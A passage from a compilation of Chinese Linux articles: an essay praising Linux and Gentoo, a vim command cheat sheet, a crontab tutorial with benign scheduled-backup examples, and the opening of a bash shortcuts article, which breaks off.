Linux 其实也是个挺大的枷锁，但是至少它现在还没让我感觉太局促。

这些用 Linux 的用户会干什么呢？

Windows 系统的用户多如繁星，而 Linux 用户数量也许仅仅是其 1%。所以，很多人认为 Windows 为世界创造了很大的价值，认为 Linux 只是打着自由/开源的旗号让程序猿饿着肚子搞革命。事实上，在信息世界里，Linux 已经像空气和水一样无处不在。你所访问的大部分网站都运行在 Linux 主机之上，你所用的智能手机往往运行着 Linux 内核，你所连接的 WIFI 路由也运行着 Linux 系统，你家里的机顶盒里面运行的也极有可能是 Linux……如果一个软件你已经用了，它已经替你完成了你要做的事，但是你却觉得自己没有用它，而且也不懂得怎么去用它，那么这个软件所创造的价值是你无法估量的。

那些用 Linux 的人似乎每天都在用一些看上去非常难用的东西。他们可以瞬间完成成百上千个文件的重新命名、格式转换、分类存放等任务，也能够举手之间将从成百上千个文本文件中对特定字符进行检索、删除以及替换。在局域网内，他们可以很轻易的从同事的机器上获取文件，或者调用他们的机器上所安装的软件来解决自己的问题。他们了解自己的系统，只要他们愿意去了解。他们对个人信息的安全颇为关注，熟悉数据签名与非对称加密工具的使用。他们可以根据自己的爱好选择自己喜欢的桌面，并且根据自己的需要进行定制。他们可能并非程序猿，但是他们也会用 Shell 脚本或一些编程语言编写一些小程序处理一些日常事务……总之，计算机在他们的手里变得更像是计算机，而不是退化为手机、电视机、影碟机、游戏机。

『一般的计算机用户』所能完成的事，Linux 用户是能够完成的。非一般的计算机用户想要做的事，纵然 Linux 现在难以完成，但是鉴于用户是『非一般用户』，他们或许有能力在 Linux 中创造一些东西来完成这些本来难以完成的任务。

创造东西的过程，可以让你掌握更多的知识。不是因为 Linux 没有这些东西所以去创造，而是出于自己的需要而创造。虽然我无法以个人之力在 Linux 的世界创造一个像 UGNX 这样庞大的三维设计软件，但是我有能力在 Linux 世界里调集我所掌握的资源去解决我要用 UGNX 所解决的那些问题。这就像渡江，若无渡轮可乘，你可以学会游泳，也可以学会制作木筏与独木舟……如果你很幸运，有很多同伴，创造一个庞大的渡轮也不是太困难的事。

很多人认为，自己动手丰衣足食，固然很好，但是重复发明轮子浪费太多时间似乎没有意义。这就像一个不太好笑的笑话。有人说，如果不抽烟不喝酒，就可以省下来好多好多钱。又抽烟又喝酒的人则反问道，你既不抽烟也不喝酒，但是也没见你很有钱啊。

任何东西的创造，都会有一个起点。即使你创造的是别的世界里已经存在的东西，但是起点相同，结果却未必相同，它有无数种可能。因为我们的世界是充满着不确定性的，至少目前是这样。Linux 内核本身就是对那时已经存在的 Unix 的一个『复制』，它不像各种 BSD 那样继承了 Unix 代码。但是，现在的 Linux 与 BSD 已经出现了非常多的不同。在自由与开源软件的世界里，由于源代码是公开的，所以很多软件被不同的人 fork，从而产生了各种各样的分支……人类这个完整的系统莫名其妙的这种行为，与非确定性图灵机非常像。既然这个世界充满着不确定性，那么任何创造都有它的意义。

Linux 用户们所作的事情，本质上就是继承与创造。他们不需要抄袭，因为没这个必要。这就是自由/开源生态环境的基本进化法则。造物主，假如的确有这种生物，他可曾立下法律禁止人类阅读与修改基因代码？

高校是最应该使用 Linux 的地方

我工作的地方是某所高校的实验室。2006 年，我以请实验室里的同学吃一顿烧烤为代价，成功的让他们站到了我这边，然后给『老板』提交了一份将实验室的软件开发环境换成 Linux 的论证报告，就这样成功的发动了我的『Linux 政变』，以后再也不用憋屈的去折腾 UG 的 API，去用需要读完《深入浅出 MFC》才会用的 MFC，也不需要自己去写很多没必要写的代码。我们可以很灵活的利用许多自由/开源项目去快速验证我们的一些想法是否可行，比如 CGAL、OpenSceneGraph、PCL、OpenCASCADE 之类的库，可以用 TeX、gnuplot、asymotote 等工具撰写文档，可以用 ssh、git、rsync、nginx 之类工具进行内部协作。这些工具，大部分也可以在 Windows 环境中运行，但是以前我们用了 Windows 很多年也未曾听说过它们……

高校的实验室里的科研人员的工资是国家发的，科研项目经费是国家财政拨的，为世人探索未知的领域应该是他们的本职工作，因此研究成果应该是向世人公开的。他们不存在商业利益上的技术保密与垄断，我觉得高校科研人员甚至都不应该去申请发明专利！在这样的一个本来就应该坚持学术自由与开放的环境里，大部分实验室却将自己的开发环境限定在一个闭源的系统中，用着 MS Office，用着 PS，用着 Matlab，用着科研经费所能买到的任何商业的闭源的专业软件，于是他们有些人可能到现在依然干着我在 2005 年干的那类事情……去年还有个北航的博士生托我师姐问我当初在 UG 里写的代码是否还有……事实上，他们本来是可以在一些自由/开源软件上更快速的实现他们的想法，同时这些想法的实现也可以进一步促进自由/开源软件的发展的。然而这个国家最不担心饭碗的这群人只会输出大量的论文，而我们看不到他们的实现。很多教授觉得用 Linux 属于浪费时间……一群精致的利己主义者培养出来了一群只会袖着双手漫不经心的问『这么难用的东西为何要用？它对于我这样的一般用户有何价值？』此类问题的学生……我觉得他们浪费了太多纳税人的钱，浪费了学生交的学费，浪费了自己的智慧，甚至对不起自己的科学家身份。

一个科学家，首先应该是一个黑客。他对自己所研究的方向保持着探求真相的强烈兴趣。国内我只熟悉计算机辅助设计与制造方向的情况，这个方向上的很多专家，他们懂得一大堆概念，会使用 AutoCAD、UGNX、PRO/E、Catia 之类的软件，充其量可以在这些软件上做一些修修补补的二次开发，他们对于那些自由/开源的几何引擎与 CAD 软件却近乎一无所知。很难想象他们能够在那些闭源软件上能够创造与发展新的计算机辅助设计与制造技术。Linux 世界里有很多经典的软件以及程序设计语言是科学家的贡献，Linux 的源头 Unix 也是科学家发明的。这些科学家是真正的科学家，因为他们首先是黑客，他们在学术自由的高校氛围里对自己感兴趣的东西给予孜孜不倦的探索与实践，他们将自己所得的成果毫无保留的公布于世，并且培养出来大批的好学生。

后记

很多年前，王垠也为 Linux 回答了这样的问题，很多人说他是偏激的。10 年之后的王垠也说自己当时是偏激的。其实这种文章，写出来就必定存在偏激之处。然而我不觉得偏激有什么不好。与其说是偏激，毋宁说是偏执。我总觉得只有偏执的人能够在某个方向走得比常人更远。与其说是偏执，毋宁说是有着坚定的信仰。

要做到不偏激，那只能是说 Windows 好，Linux 好，Mac OS X 好，FreeBSD 好……都很好，然后它们也都存在着缺点……所以我们应当根据自己的需要去选择。既然如此，那么『应当根据自己的需要去选择』只不过是『偏激』的代名词而已，而且这句话还容易抹杀一个前提，即本文中所说的『你明白自己所做的事』么，你明白自己的需要么？

如果你严肃认真的将问题逐渐上溯，到达原点，也许你会发现原点也很模糊。不一定是你选择了它们，也有可能是它们选择了你。如果想让原点保持确定，那唯一的办法就是坚定某种『信仰』。

这篇文章并非劝慰世人去使用 Linux，我只希望有耐心读完此文的人能够确定自己的选择是正确的。这个时代，Linux 其实已经不需要布道与传教，它的价值所在已经浑然天成。


 Linux 挖坑不埋指南——甲篇

作者：i_garfileo

来源： Linux 挖坑不埋指南——甲篇



                    
跳进 Linux 的唯一理由

既然知道 Linux 在这个世界已经存在了，而你又是个挺喜欢摆弄计算机的人，那么对 Linux 是怎样的一种存在难道不感到好奇么？

也许在你开始尝试使用 Linux 时，已经看到了很多对 Linux 不利的言论。例如，发行版本太多难以取舍、安装繁琐、应用程序没那么多、装显卡驱动很痛苦、无线网卡点不亮、声卡沉默着、中文输入法又在 Emacs 里歇菜了……然而 Linux 已经在这个世界上存在了，即使它存在这样或那样的问题，它依然没有死掉，更何况在 Linux 中去努力的化解这些问题的过程，也就是你对计算机的理解日益精深的过程。

以前我觉得 Windows 用户是这个世界上对计算机最没有好奇心的用户，他们几乎完全是因为讨厌计算机而喜欢 Windows。现在，感觉与那些叫嚣着要用智能手机/平板取代 PC 的人类相比，Windows 用户多少对计算机还保持着一点点好奇……

Linux 在哪里

首先，你在 Windows 里积累的大部分经验对于学习 Linux 是没有用的，而且在 Linux 世界里，Windows 的使用经验往往会变成很坏的习惯。Mac OS X 洗尽铅华后，倒是与 Linux 很接近，因为它们算是 Unix 的嫡系。

很多 Linux 桌面爱好者为自己所喜欢的 Linux 传教，他们用着自己或别人配置的漂亮的桌面来诱惑 Windows 阵营中对 Linux 持观望态度的人。不否认，他们经常会成功，但是被诱惑的 Windows 爱好者很快就能发现 Linux 桌面只不过是个肥皂泡。

2014 年，Linux 之父 Linus 说他仍然想要桌面……所以，Linux 现在依然是没有真正的『桌面』环境的。目前解决这个问题的唯一办法就是像我在前面所说的那样，不要将 Windows 的使用经验搬到 Linux 里，对于 Linux 而言，这些使用经验完全的水土不服。

城里人到了乡下，没有红绿灯、没有下水道、没有大超市、没有星巴克……这并不能说明乡下的不好，只能说明你带来了城里人的坏习惯！这些坏习惯正逐渐将原本寂静的 Linux 村落改造为乱糟糟的城乡结合部。后来，也许这些城乡结合部也会变成真正的城市，但是现在你要么容忍城乡结合部的混乱与不稳定，要么就去寻找生态环境尚未恶化的 Linux 山村。

定居于 Gentoo

既然已经否定了 Linux 桌面主义，那么我认为最能体现 Linux 特色的发行版应该是 Gentoo，而不是 Ubuntu、Fedora、Open Suse 这些号称开箱即用的 Linux 发行版，因为开箱即用，不等于开箱好用。不过，如果你已经很熟悉这些开箱也不好用的 Linux 发行版了，可以不必在意我的推荐。

安装 Gentoo 的过程，本质上就是使用 Gentoo 的过程。得益于 Gentoo 完善的文档，只要略有些耐心与英文阅读能力，按照 Gentoo 安装手册 的步骤进行，用不了 1 天，就差不多能装上 Gentoo 的基本系统（内核 + 软件包构建工具 + Shell）。

野外生存

Linux 的野外就是黑乎乎的字符终端（TTY），这里面运行着 Shell。在现代 Linux 系统中，Shell 差不多对应于人类的内衣，而图形窗口系统则对应于人类的外套。

没有了 Shell， Linux 是裸奔的 Linix。没有了图形窗口，Linux 就是穿着裤衩在奔跑的 Linux。

从某种意义上来说，Windows 其实比 Linux 更先进得多……它不穿内衣就直接穿外套了！

Linux 世界有很多 Shell，标配的 Shell 叫 Bash。

最好的 Bash 教程，当属 Gentoo 之父——Daniel Robbins 所写的 Bash by Example, part 1 2 3。Daniel Robbins 的命运宛若 Linux 世界的高加林……如果不知道高加林何许人也，可参考路遥文集中的“人生”。不过，Daniel Robbins 后来又创建了 Funtoo 项目……Funtoo 可能只适合有经验的 Gentoo 用户使用。

我建议你在尝试为 Gentoo 安装一个桌面系统之前，先在黑乎乎的  Bash 中呆一段时日，苦你心智，磨你体肤，行拂乱你所为……坚持下去，你就能学会在 Bash 中用命令与脚本控制你的机器，学会用 sed 与 Emacs 编辑文件。当然，这个过程对你而言可能最大的痛苦是没法显示与输入中文。

在 Linux 的世界里，中文并不是必须的，英文是必须的，但是只要你愿意，还是有办法让 TTY 支持中文的显示与输入的，而且搞定这个问题，意味着你对 Linux 的认识程度已经超过了很多其他 Linux 发行版的用户。

一个城里人，当他能够很娴熟的在野外生存着，回到城市之后，他也许能够比以前更善于利用城市这个系统。至少，野外生存帮助他建立了很多生活上的好习惯！

学会使用 portage

所谓的 Linux 发行版，本质上只是一些比我更有经验的 Linux 用户长年累月的收集了一些比较有名的软件源码包，最有名的自然是 Linux 内核源码包。收集到这些源码包之后，就针对主流硬件上以一种大家好才是真的好的策略将源码包编译成可执行文件，然后又将这些可执行文件做成光盘镜象文件供用户下载。

从上述角度来看，Gentoo 不算是 Linux 发行版。Gentoo 的工作主要是向用户提供一个非常精简的 Gentoo 系统，也就是所谓的自举系统与 Stage 3，目的是让用户拥有一个可以运行的 Linux 基本环境，然后提供一个 portage 软件包，这个软件包主要由一个名曰 emerge 的 python 脚本以及一大堆分门别类的 Bash 脚本（ ebuild 脚本）构成。如果你已经装上了 Gentoo，那么你一定懂得我在说什么。

每份 ebuild 脚本记录着相应的软件源码包的下载、解包、编译环境检测、编译、安装等步骤。例如我要安装大名鼎鼎的 Emacs，只需在终端中执行以下命令：

# emerge emacs


这个名曰 emerge  的 Python 脚本会自动去 /usr/portage/app-editors/emacs 目录寻找当前最新版本的 ebuild 文件——emacs-24.5.ebuild ，然后根据这份 ebuild 脚本中记录的步骤，自动进行 emacs-24.5 源码包的下载、解包、编译环境检测、编译、安装……

也就是说，Gentoo 的 Portage 只是告诉 emerge 应该怎样安装软件包。这就是 Gentoo 的精华所在。因为软件包是从源码包编译安装的，这意味着你有很多机会去定制或改进这个过程，而且 Portage 也为此打开了便利之门。

在那些真正的 Linux 发行版里，通过编译源码包的方式安装软件，往往非常痛苦，因为通常很难弄清楚要编译安装的软件包依赖哪些软件包。此外，这些 Linux 发行版所谓的『升级』，差不多等同于重新装一遍系统，而且差不多每半年装一遍（几个主流的发行版，差不多都是每半年发布一个新版本）。我很谦虚的说，我的 Gentoo 系统已经连续用了 5 年，现在依然保持着软件包近乎最新的状态。

如果你受了一些 Linux 桌面传教士的蛊惑不幸用上了 Ubuntu、Fedora 之类的发行版，不要怕， Portage 依然可以拯救你！理论上，在这些 Linux 发行版中，安装 Portage 并不是多么困难的事。只要有了 Portage，你可以通过软件包更新的方式，一点一点的将系统变成 Gentoo！

Gentoo 这种编译安装软件的方式虽然很低效，但是它能够让你养成一个好习惯：不要安装太多的软件包，并且尽量远离那些巨型软件包。这个世界上，真正很有用的软件包并不是太多，而那些巨型软件包往往也是 Linux 世界的违章建筑。

进驻城乡结合部

长期的在黑乎乎的 TTY 里也能游刃有余的生活着，但是图形化的世界毕竟还是更直观一些。朋友给你发来一份 MS Word 或 PDF 文档，虽然通过 Linux 的 Framebuffer 可以构建出 GUI 程序可视化这些文档内容，但是这样就真的是重新发明轮子了——重新发明了 Xorg 或 wayland。我一直都觉得 wayland 是重新发明轮子。

Linux 的桌面环境现在依然像个乱糟糟的城乡结合部，也许唯一令人自豪一点的就是它的历史。桌面的基础架构 ——X 窗口系统称雄江湖的时候，Windows 系统还未诞生。

X 目前正逐渐被现代的 Wayland 取代，然而基础架构的更换并不能真正解决目前这种城乡结合部的局面！因为没有财力雄厚的公司进行统一规划，自由软件开发者们经常为了自己的自由而搭建违章建筑，然后干扰了用户们的自由。对于中文用户，最大的违章建筑当属 GTK 与 QT，它们破坏了 XIM 的大一统，导致至今为止 Linux 图形界面的中文输入支持依然是个令人头疼的问题（可参考：https://www.csslayer.info/wordpress/diary/why-linux-ime-sucks/）！

我比较喜欢的城乡结合部是 xfce4，之前一直用的是 GNOME。曾被很多人诟病的 GNOME3 我也用了将近 4 年，直到有一天我发现它的一个新版本剥夺了我最需要的一些自由，所以毅然转移到了 xfce4。这个故事想说的是，在一个充满自由的环境里，你最不需要的就是死守旧习惯。

用 xfce4 的好处是它提供了够用的窗口管理功能。我不认为 GNOME 3 真的有什么比 xfce4 更先进的地方，除非是到了 wayland 完全取代了 Xorg 的那一天。但是，从现在的状况来看，wayland 的出现让城乡结合部又混乱了一点，所以你不懂我在说什么，这很正常……先按照 https://wiki.gentoo.org/wiki/Xfce 所说的步骤，装上 xfce4。

欢迎来到混乱的 Linux 城乡结合部，在终端里求生成功的鲁滨逊同学！

Linux 世界各阶层分析

我非常敬仰 GNU 项目的缔造者——Stallman 大神，我觉得他是个理想主义者。虽然王垠在『谈谈理想主义』一文中指出理想主义者会因为不切实际而导致行动失败，但是我觉得王垠忽略了一个事实，即真正的理想主义者并不害怕失败。夸父驱赶太阳，苏格拉底喝了毒药，伯夷叔齐不吃周粟，介子推宁愿变成烤肉，项羽自刎于乌江……在这些人的心里，失败并不是他们最害怕的东西，他们害怕的是要变成没有理想的人苟活下去。

反对理想主义的人，尽管他号称自己不信仰任何主义，但本质上都是走向了实用主义或务实主义。真正的无信仰者，是不会批判任何主义的，否则牛顿第三定律在哲学上也成立了。

Linus 之所以反对 Stallman 是因为 Linus 是个务实主义者，他创造 Linux 并非是受到自由软件精神的感召，而是 Just for fun！因为当时他还是个学生，实用与否他并不关心，满足自己折腾计算机的嗜好才是第一位的，他对 Stallman 将道德与政治的事情放到软件上来谈是反感的。后来，他休假的时候，用了差不多一周的时间就写出了 git 的第一个版本，这次不是 Just for fun，而是 Just for Linux 版本控制系统。

开源软件的领军人物 Raymond 大神之所以反对 Stallman 是因为 Raymond 是一名彻头彻尾的实用主义者。最近 Raymond 的经济有些拮据，因此在网络上向大家展现他的功绩，藉此期望大家能够帮助他。会有人援助他的，如果他有支付宝，我也会给他打过去 16 美元，但是伸出援手的那些人，往往是理想主义者。从这一点来说，Linus 是错的，Stallman 将软件上升到道德的层面，至少在 Raymond 身上应验了。因为道德与政治，是自由软件得以生存下去的土壤与水。我记得 Stallman 当年吃不上饭的时候，是去卖 Emacs 手册之类的东西混饭吃，他可没想到去『乞讨』……像 Raymond 这样的人，是不会自己去写一个操作系统的，他所做的是寻找一个像 Linux 这样的操作系统……所以他写出了一本小册子《大教堂与市集》，被一群没文化的实用主义者视为开源世界的经史子集，实际上《大教堂与市集》是 Raymond 以实用主义者的眼光去分析务实主义者的世界而看到的一面。

商业软件公司之所以反对 Stallman，是因为他们不希望因为用了一下 GNU 的源代码而导致自己全部的源代码都要公开。爱惜自己声誉的商业公司是以不使用 GNU 的源代码的形式反对 Stallman，而有一些无耻的商业公司一边反对 Stallman，一边窃取 GNU 的源代码。

所以，今天的 Linux 世界的平衡由一群理想主义者、一群务实主义者、一群实用主义者还有一群投机主义者共同维持着。

理想主义者之所以不得不用 Linux，是因为他们的 GNU Hurd 或 Plan 9 尚未实现，不得不在 Linux 特色的社会主义初级阶段继续革命。正如 Linus 早年所说，虽然他不打算和 Stallman 并肩作战，但是 Linux 世界如果没有 Stallman 这样的人，便会乏味很多。理想主义者的价值在于矫枉必须过正。

务实主义者是 Linux 世界持续前进的原动力。Linux 世界缺乏什么，他们就努力去创造什么。他们注重软件的实际功能，因为他们本身也是这些软件的用户，这就是他们之所以不厌其烦写代码的原因。务实主义者将理想主义者过正之处适度的扳回一些。

实用主义者是一群不愿意付出太多劳动的懒人，他们需要务实主义者所贡献的软件，但是这些软件有时不能满足自己的需求，所以他们就去 hack 务实主义者的项目，但是大多时候是 dirty hack。也许实用主义者最大的贡献是让外人觉得 Linux 开发团体是一群乌合之众……这就是令 Raymond 沾沾自喜的『市集』开发模式。

投机主义者，近的就不说了，说个 Linux 的远亲。我国的国防科技大承担的一个 863 项目成功的将 FreeBSD 的源码变成了自主知识产权……

综上所述，Linux 世界的缔造者是务实主义，它的文化也就是务实的文化，它的精神也就是务实的精神。我觉得，只有务实的人才能真正的用好 Linux，而那些实用主义者的立场太不坚定，他们很容易变成某种意义上的投机主义者。在我看来，GNOME 3 的开发者就已经变成了良性的投机主义者，他们正在竭尽全力讨好傻瓜用户，结果却适得其反，至少它失去了我这个用户。

贵圈真乱

看完上文，『贵圈真乱』或许是你得出的唯一结论。

乱了好，英雄出于乱世，庸人苟活于乱世。

在太平盛世，这世界往往是被一群庸人把持着的。
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“学习vim并且其会成为你最后一个使用的文本编辑器”

学习建议：



	丢弃鼠标和小键盘

	具有搭配使用各种按键的意识



首先来一张 mindmap :







初级


编辑模式（Insert Mode）


编辑模式包括以下动作：



	insert：i在光标所在字符前插入，I在当前行首第一个非空格字符前插入

	append：a在光标所在字符后插入，A在行末尾开始插入

	open：o在下一行插入新行，O在光标所在行的上一行插入新行

	replace：r将光标处字符替换成r紧接的字符；R一直替换字符串，知道ESC键退出，同windows下的Insert键

	
Ctrl+p：自动提示

	
[ESC]：回到普通模式






普通模式（Normal Mode）



	
h, j, k, l，分别对应 左←  下↓  上↑  右→ 

	:q, :q!, :wq  退出 不保存强行退出 保存退出


	移动光标到当前行首/非空格，同^，:0


	
$  移动光标到当前行尾，同:$

	
G  移动光标到文档最后一行首

	
30G  转到第30行，同 :30

	
9-  光标向上移动9行，同9k

	9+  光饼向下移动9行，同9[space]，9j


	gg  转到文档第一行(1G)


	
H  移动到屏幕的第一列

	
M  移动到屏幕的中间列

	L  移动到屏幕的最后列


	w  移动到下一个单词的首字母，（标点符号认为是一个单词，W表示单词以空格分隔）


	e  移动到下一个单词的末尾，（E认为单词以空格分隔）


	b  移动到上一个单词的首字母，（B认为单词以空格分隔）


	
fx  移动到下一个字母是x的位置。Fx向上移动。

	%  匹配括号移动，包括 (, {, [ ，你需要把光标先移到括号上


	CTRL+b 向上（前）翻页


	CTRL+f 向后翻页


	d  删除开始。其实是放到寄存器中，p或P命令调用。c即change，删完进入编辑模式


	
d$  删除光标到行尾的所有文字，同D。C指令进入编辑模式

	
dw    删除当前字符到单词尾的所有字符。cw删除光标后的单词并进入插入模式，等同替换

	
dd  删除当前一行

	
2dd  删除当前两行

	x  剪切光标处字符，可以p粘贴出来


	y  复制开始。yank起来，p或P命令调用


	
yy p  复制当前行并粘贴到下一行

	
5yy p 复制当前行以下5行，在合适的地方粘贴

	
yw p  复制一个单词并粘贴。

	yi{  复制光标所在{}中的内容。很容易知道ci{ 和 di " 的意思。


	u      撤销


	
CTRL+r 重做

	
.   点号重复做上一个命令

	``.`  移动光标到上一次的修改点


	Ctrl+g 查看我当前位置




命令模式



	
/word 向下查找word，n定位到下一个。?word 向上开始查找，同/word配合N。*直接查找光标所在处单词

	
:%s/word1/word2/g  替换所有word1为word2(^$ [])

	:set noic    区分大小写 (即set no igorecase，set ic不区分大小写)


	:set nu  显示行号。:set nonu相反，不显示行号


	
:set paste  设置为粘贴模式，解决Ctrl+Insert粘贴时缩进错乱问题。:set nopaste设置回默认

	:se ff=unix 设置文本文件的格式为unix，去掉windows系统文件中的^M。


	:!ls  执行bash下的命令ls，回车后继续回到vi。一般在一个不存在的目录中创建文件时用到


	
:set all 查看vim说有设置属性值

	
:map 查看绑定的快捷键

	
:marks 查看可用标记



熟练上面的命令，已经可以满足日常工作要求，要提高效率可以学习vim的高级用法，如分屏显示、分页、标签功能、代码折叠、键盘映射。


可视化模式


visual mode多用于用键盘灵活选择文本。v或V键进入，可以实现同时编辑多行（如注释）


中级


高级组合命令



	
:sh   暂时离开vi，进入shell命令行

	
:!ls  !表示要执行一个shell命令

	
q:  调出历史命令窗口

	
cc  替换一行，清空一行

	
cw  替换一个单词，进入插入模式

	ea  在当前单词最后插入


	vw  visual模式选择一个单词


	
VU  全选一行，转换成大写

	:5,12 co 13 将5至12行复制到第13行下


	gg=G 自动缩排文件
% : 匹配括号移动，包括 (, {, [. ，你需要把光标先移到括号上
* 和 #:匹配光标当前所在的单词，移动光标到下一个（或上一个）匹配单词（*是下一个，#是上一个）




当光标在( ), [ ],< >, { }, " ", '' 内时，可以用ci, di, 或yi，加上(, [, <,{, ", '。这样可以改写/删除/复制( )内，[ ]内，< >内，{ }内，" "内，' '内的内容。


多行注释（块操作）



	首先按esc进入命令行模式下，按下Ctrl + v，进入列（也叫区块）模式;

	在行首使用上下键kj选择需要注释的多行;

	按下键盘（大写）I键，进入插入模式；

	然后输入注释符（“//”、“#”等）;

	最后按下esc键



删除多行开头的一个字符与此类似，删除多个字符也只要左右键，然后使用d。


另外一种多行注释的方式就是替换：



	
:5,9s/^/#/g    添加注释#

	
:5,9s/^#//g    删除注释#

	
:5,9s#^#//#g    添加注释//，同:5,9s/^/\/\/#/g

	
:5,9s#^//##g    删除注释//



多行缩进
[ESC],  Ctrl+v  选择行 <或>左右缩进，=自动缩进（gg=G的局部功能）


多行行末尾加上 >> ${log}：Ctrl+v  /^echo
>>相当于tab键，一个缩进


多行删除



	首先在命令模式下，输入set nu显示行号；

	通过行号确定你要删除的行；

	命令输入:32,65d,回车键，32-65行就被删除了



自动补全

在Insert模式下，你可以输入一个词的开头，然后按 <C-p>或是<C-n>，自动补齐功能就出现了


分屏(split)


分割窗口（同时编辑多个文件）



	
vi -o file1 file2 水平分屏，也可以在先打开file1后，使用:sp file2


	
vi -O file1 file2    垂直分屏，也可以在先打开file1后，使用:vsp file2


	
Ctrl+w w  光标切换到另一个屏

	
k    关闭当前窗口，如果有改动则提示要先保存。:wqa!保存退出所有文件

	
Ctrl+w v  左右分割当前打开的文件。Ctrl+w s上下分割显示

	
Ctrl+w H  左移该屏（大写，L右移，K上移—改变vertical为horizontal）

	
:set scb  分屏同步滚动



另外一种不分屏，同时编辑多个文件的方法


vi file1 file2



	
:ls              展示全部打开的文档。其中 % 代表正在打开的文件（buffer），# 代表上一个编辑过的文件，a 代表当前激活的buffer空间，+ 代表有修改过的内容但还未保存

	
:buffer 2   转到打开的第二个文件。或简写为 :b2


	
:bn             转到下一个文件。没有保存不能离开这个文件。:bp 上一个文件

	
:b#             转到上一个编辑过的文件，同 :e #。类似于多屏中Ctrl+w w


	
:e file3      编辑一个新的文件 

	
Ctrl+g       显示当前文件名和行号，同 :f




折叠(fold)


主要应用在复杂脚本的场合，特别是函数比较多，逻辑结构比较复杂的代码。（:help folding）

有6种方式来折叠代码



	manual //手工定义折叠

	indent //用缩进表示折叠

	expr　 //用表达式来定义折叠

	syntax //用语法高亮来定义折叠

	diff   //对没有更改的文本进行折叠

	marker //用标志折叠



indent
:set foldmethod=indent    设置缩进折叠，fdm为简写。只对当前会话有效，要使每次打开vim时折叠都生效，则在.vimrc文件中添加设置，如添加：set fdm=indent



	
zc    折叠与当前缩进相同的行

	
zo    打开折叠

	
zj    移到下一个折叠处

	
zk    移到上一个折叠处

	
zm    折叠所有可折叠标记

	
zr      展开所有折叠

	
[z    到当前打开折叠的开始

	
]z    到当前打开折叠的结束



marker

注意与后文的mark不是同一东西，:set fdm=marker



	
zf    创建marker，默认 #{{{,#}}}


	
Ctrl+v zf 进入可视化模式，选择需要折叠的行，zc执行折叠。会自动加入 #{{{  code block #}}}


	
zf9j  创建从当前行起至以下9行的折叠标记，zc进行折叠。同9zf。类似有zf30G，从当前行折叠刀第30行

	
zf%   创建匹配的 {}, [], (), <> 的fold。不用执行zc


	
zd    删除当前行上存在的折叠标记。仅当 'foldmethod' 设为 "manual" 或 "marker" 时有效



标记


标记(mark)是vim提供的精确定位技术，只要你知道标记的名字，就可以使用命令直接跳转到该标记所在的位置。vim中的标记都有一个名字，这个名字用单一的字符表示。大写和小写字母(A-Za-z)都可以做为标记的名字，这些标志的位置可以由用户来设置；而数字标记0-9，以及一些标点符号标记，用户不能进行设置，由vim来自动设置。（:help mark-motions查看更多帮助）



	
ms    定义一个标记s

	`s    跳转到标记s的地方

	's    跳转到调剂s所在行首

	`.    jump to position where last change occurred in current buffer

	``    jump back (to position in current buffer where jumped from)

	:delmarks    aA。使用:delmarks!删除所有小写（a-z）的标记

	:marks    查看所有标记



插件


待续


vimrc


.vimrc 是目前自己用的比较习惯的vim风格。


参考



	简明 Vim 练级攻略

	Vim Cheat Sheet for Programmers

	VIM哲学





原文链接地址：http://seanlook.com/2014/08/07/vim-tips/





 Linux 下执行定时任务 crontab 命令详解

作者：Jacendfeng

来源： Linux 下执行定时任务 crontab 命令详解



                    
许多内容抄录自自 竹子的博客


1、先来一个小小的例子


查看当前路径：


[root@root test]# pwd
/home/admin/test 
[root@root test]# crontab -l



查看当前用户的定时任务 也可以 crontab -uroot -l查看指定用户的定时任务。

千万不要忘了中间的 sh 表示用户拿什么来执行命令


00 02 * * * sh /home/admin/optbash/dailyBackup.sh
00 02 * * * sh /home/admin/optbash/deleteDebugSql.sh



建立一个用定时任务跑的bash脚本：


[root@root test]# touch test.sh
[root@root test]# vim test.sh



编辑如下内容，将系统当前时间输出到 console.txt 文件然后保存，增加可执行权限


/bin/echo `date` > /home/admin/test/console.txt
[root@root test]# ll
total 8
-rw-r--r-- 1 root root 29 Mar 27 21:31 console.txt
-rwxr-xr-x 1 root root 48 Mar 27 21:28 test.sh
[root@root test]# chmod +x ./test.sh



追加 crontab 定时任务，每分钟触发：


[root@root test]# crontab -e
00 02 * * * sh /home/admin/optbash/dailyBackup.sh
00 02 * * * sh /home/admin/optbash/deleteDebugSql.sh
*  *  * * * sh /home/admin/test/test.sh



前面是已经存在的定时任务，后面执行test.sh脚本的是追加的

保存后提示已经装载了新的定时任务


"/tmp/crontab.HauiiV" 3L, 143C written
crontab: installing new crontab



再次查看定时任务列表,可以看到定时任务已经添加


[root@root test]# crontab -l
00 02 * * * sh /home/admin/optbash/dailyBackup.sh
00 02 * * * sh /home/admin/optbash/deleteDebugSql.sh
*  *  * * * sh /home/admin/test/test.sh
[root@root test]# 



查看console.txt有没有每分钟写入console.txt文件


[root@root test]# vim console.txt
Fri Mar 27 21:40:01 EDT 2015 



可以看到最近一次的写入时间。


2、看看crontab 的时间表达式


基本格式 :
*　　*　　*　　*　　*　　command
分　时　日　月　周　命令






然后来几个实际的例子：


1、每分钟执行一次            
*  *  *  *  * 

2、每隔一小时执行一次        
00  *  *  *  * 
or
* */1 * * *  (/表示频率)

3、每小时的15和30分各执行一次 
15,45 * * * * （,表示并列）

4、在每天上午 8- 11时中间每小时 15 ，45分各执行一次
15,45 8-11 * * * command （-表示范围）

5、每个星期一的上午8点到11点的第3和第15分钟执行
3,15 8-11 * * 1 command

6、每隔两天的上午8点到11点的第3和第15分钟执行
3,15 8-11 */2 * * command



3、其他命令介绍


名称 : crontab

使用权限 : 所有使用者

使用方式 :

crontab file [-u user]-用指定的文件替代目前的crontab。

crontab-[-u user]-用标准输入替代目前的crontab.

crontab-1[user]-列出用户目前的crontab.

crontab-e[user]-编辑用户目前的crontab.

crontab-d[user]-删除用户目前的crontab.

crontab-c dir- 指定crontab的目录。 



4、crond 安装与配置服务


安装crontab：

yum install crontabs

服务操作说明：

/sbin/service crond start //启动服务

/sbin/service crond stop //关闭服务

/sbin/service crond restart //重启服务

/sbin/service crond reload //重新载入配置

查看crontab服务状态：

service crond status

手动启动crontab服务：

service crond start

查看crontab服务是否已设置为开机启动，执行命令：

ntsysv

加入开机自动启动：

chkconfig –level 35 crond on



 高效Linux bash快捷键及alias总结

作者：seanlook

来源： 高效Linux bash快捷键及alias总结



                    
bash快捷键


习惯使用编辑的快捷键可以大大提高效率，记忆学习过程要有意识的忽略功能键、方向键和数字小键盘。以下快捷键适用在bash处于默认的Emacs模式下。如果你有set -o vi，就处于 vi 模式就不适用了。

另外下面的内容并不包含所有快捷键，只是我个人适用频率最高的几种，但相信已经可以大大提高工作效率了：



	
